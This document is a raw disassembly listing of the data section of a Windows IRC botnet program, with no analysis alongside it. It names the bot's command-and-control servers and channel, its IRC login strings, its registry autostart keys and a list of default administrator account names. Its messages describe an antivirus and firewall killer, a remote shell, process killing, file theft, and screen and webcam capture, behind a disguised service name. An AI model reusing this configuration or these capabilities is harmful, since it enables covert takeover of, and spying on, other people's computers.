		align 10h
dword_427C50	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D0B4o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D0B4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D0CC	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D0CC
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0EC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0EC
		dd offset unk_427E68
off_427E8C	dd offset off_43D10C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D10C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D130	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D130
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D0B4
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D0B4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D0CC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0EC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D10C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
aQvfdqvfdqvfdqv	db 'ŸVFDŸVFDŸVFDŸVFDŸVFD—!’3—!’3—!’3—!’3—!’3±/‰I±/‰I±/‰I±/‰I±/‰I',0
		align 4
		dd 79h dup(0)
		dd 49892FB1h, 0
		dd 4446569Fh, 15h dup(0)
		dd 33922197h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D158
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd 0
dword_42923C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429234o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00429230o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00429220o
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:0042922Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_429300	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429334	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429360	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_4293A0	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_4293C4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293E0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293EC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293F4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293FC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429464	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429484	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4294A4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429578:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42957C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_4295A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4295C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429610	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429634	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429658	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429674	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_4296A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4296C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429718	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429764	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429784	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_4297AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297D4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429824	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429874	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429898	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_4298B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298D8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429948	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429964	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429984	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_4299C8:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_4299CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299F0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_429A14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A54	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A94	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429B00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B34	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B68	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429BC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429C2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C60	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429CAC	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CF4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
